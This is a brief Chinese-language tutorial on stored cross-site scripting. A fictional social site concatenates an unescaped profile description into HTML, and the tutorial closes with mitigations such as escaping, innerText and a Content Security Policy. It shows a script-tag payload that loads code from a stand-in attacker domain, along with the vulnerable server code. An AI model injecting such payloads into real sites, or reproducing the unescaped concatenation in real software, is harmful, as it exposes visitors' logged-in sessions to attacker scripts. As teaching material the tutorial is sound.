持久跨站脚本(XSS)

假设 Bob 拥有一个社交网站,允许用户个性化他们的个人资料。

Alice 转到 Bob 的网站,创建一个帐户,然后转到她的个人资料设置。她将自己的个人资料描述设为 I'm actually too lazy to write something here.

当她的朋友查看她的个人资料时,此代码将在服务器上运行:

if(viewedPerson.profile.description){
    page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
    page += "<div>This person doesn't have a profile description.</div>";
}

导致此 HTML:

<div>I'm actually too lazy to write something here.</div>

比爱丽丝将她的个人资料描述设置为 <b>I like HTML</b>。当她访问她的个人资料时,而不是看到

<b>我喜欢 HTML </ b>

她看见

我喜欢 HTML

然后 Alice 将她的个人资料设置为

<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.

每当有人访问她的个人资料时,他们都会在他们的帐户登录时在 Bob 的网站上运行 Alice 的脚本。

减轻

  1. 在配置文件描述等中转义尖括号
  2. 将配置文件描述存储在纯文本文件中,然后使用通过 .innerText 添加描述的脚本获取该文件
  3. 添加内容安全策略 ,拒绝从其他域加载活动内容